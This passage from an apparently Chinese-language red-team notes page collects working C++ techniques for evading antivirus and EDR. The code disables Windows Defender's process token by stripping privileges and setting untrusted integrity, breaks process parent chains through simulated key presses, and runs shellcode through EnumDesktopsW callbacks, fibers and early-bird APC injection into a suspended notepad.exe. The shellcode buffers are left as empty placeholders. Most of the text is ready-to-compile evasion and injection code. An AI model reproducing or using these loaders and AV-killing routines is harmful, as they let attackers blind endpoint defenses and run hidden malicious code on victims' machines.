  // Enable the privilege or disable all privileges.

  if (!AdjustTokenPrivileges(
      hToken,
      FALSE,
      &tp,
      sizeof(TOKEN_PRIVILEGES),
      (PTOKEN_PRIVILEGES)NULL,
      (PDWORD)NULL))
  {
      printf("AdjustTokenPrivileges error: %u\n", GetLastError());
      return FALSE;
  }

  if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

  {
      printf("The token does not have the specified privilege. \n");
      return FALSE;
  }

  return TRUE;
}


int main(int argc, char** argv)
{
  LUID sedebugnameValue;
  EnableDebugPrivilege();

  wchar_t procname[80];
  size_t convertedChars = 0;
  mbstowcs_s(&convertedChars, procname, 80, argv[1], _TRUNCATE);

  int pid = getpid(procname);


  // printf("PID %d\n", pid);
  printf("[*] Killing AV...\n");

  // hardcoding PID of msmpeng for now
  HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

  if (phandle != INVALID_HANDLE_VALUE) {

      printf("[*] Opened Target Handle\n");
  }
  else {
      printf("[-] Failed to open Process Handle\n");
  }

  // printf("%p\n", phandle);

  HANDLE ptoken;

  BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);

  if (token) {
      printf("[*] Opened Target Token Handle\n");
  }
  else {
      printf("[-] Failed to open Token Handle\n");
  }

  LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue);


  TOKEN_PRIVILEGES tkp;

  tkp.PrivilegeCount = 1;
  tkp.Privileges[0].Luid = sedebugnameValue;
  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!AdjustTokenPrivileges(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {

      printf("[-] Failed to Adjust Token's Privileges\n");
      return 0;
  }


  // Remove all privileges
  SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
  SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
  SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
  SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
  SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
  SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
  SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
  SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
  SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
  SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
  SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
  SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
  SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
  SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);

  printf("[*] Removed All Privileges\n");

  DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;

  SID integrityLevelSid{};
  integrityLevelSid.Revision = SID_REVISION;
  integrityLevelSid.SubAuthorityCount = 1;
  integrityLevelSid.IdentifierAuthority.Value[5] = 16;
  integrityLevelSid.SubAuthority[0] = integrityLevel;

  TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
  tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
  tokenIntegrityLevel.Label.Sid = &integrityLevelSid;

  if (!SetTokenInformation(
      ptoken,
      TokenIntegrityLevel,
      &tokenIntegrityLevel,
      sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
  {
      printf("SetTokenInformation failed\n");
  }
  else {

      printf("[*] Token Integrity set to Untrusted\n");
  }

  CloseHandle(ptoken);
  CloseHandle(phandle);
}

EDR下远程线程安全

触发EDR远程线程扫描关键api:createprocesscreateremotethreadvoid(指针)、createthread

bypass思路

进程断链

#include <windows.h>
#include<iostream>

void SimulateKeyPress(WORD keyCode) {
    INPUT inputs[2] = {};
    ZeroMemory(inputs, sizeof(inputs));
    inputs[0].type = INPUT_KEYBOARD;
    inputs[0].ki.wVk = keyCode;
    Sleep(500);
    inputs[1].type = INPUT_KEYBOARD;
    inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
    UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{
    // 调用 ShellExecute 函数,执行一个命令
    HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
    if ((int)hReturn < 32) {
        printf("0");
        return 0;
    }
    printf("% d", (int)hReturn);
    HWND hExplorer = FindWindowA("CabinetWClass", NULL);
    if (hExplorer) {
        // 将资源管理器窗口设置为前台窗口
        SetForegroundWindow(hExplorer);
    }
    else {
        printf("Explorer window not found.\n");
    }
    SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
    SimulateKeyPress(VK_RETURN);
    return 0;
}

通过模拟键盘点击,完成进程断链,父进程为explore。

进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为

回调执行

#include <windows.h>
#include<iostream>

//calc shellcode
unsigned char rawData[276] = {};
int main()
{
    LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(addr, rawData, sizeof(rawData));
    EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
    return 0;
}

纤程

纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

#include <windows.h>

void like() {
    //calc shellcode
    unsigned char rawData[276] = { };
    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    CopyMemory(Alloc, rawData, sizeof(rawData));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main() {
    like();
}

内存属性修改

内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可

early bird+Mapping

early bird,APC注入的变种

Mapping:内存映射

  • 创建一个挂起的进程(通常是windows的合法进程)
  • 在挂起的进程内申请一块可读可写可执行的内存空间
  • 往申请的空间内写入shellcode
  • 将APC插入到该进程的主线程
  • 恢复挂起进程的线程
#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")

void mymemcpy(void* dst, void* src, size_t size);
int main()
{
    //calc shellcode
    unsigned char rawData[276] = {};
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
    STARTUPINFO sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };
    sInfo.cb = sizeof(STARTUPINFO);

    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;

    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
    LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
    mymemcpy(lpMapAddress, rawData, sizeof(rawData));
    LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

    QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
    ResumeThread(hThread);
    CloseHandle(hThread);
    CloseHandle(hProc);
    CloseHandle(hMapping);
    UnmapViewOfFile(lpMapAddress);
    return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

文档信息

Search

    Table of Contents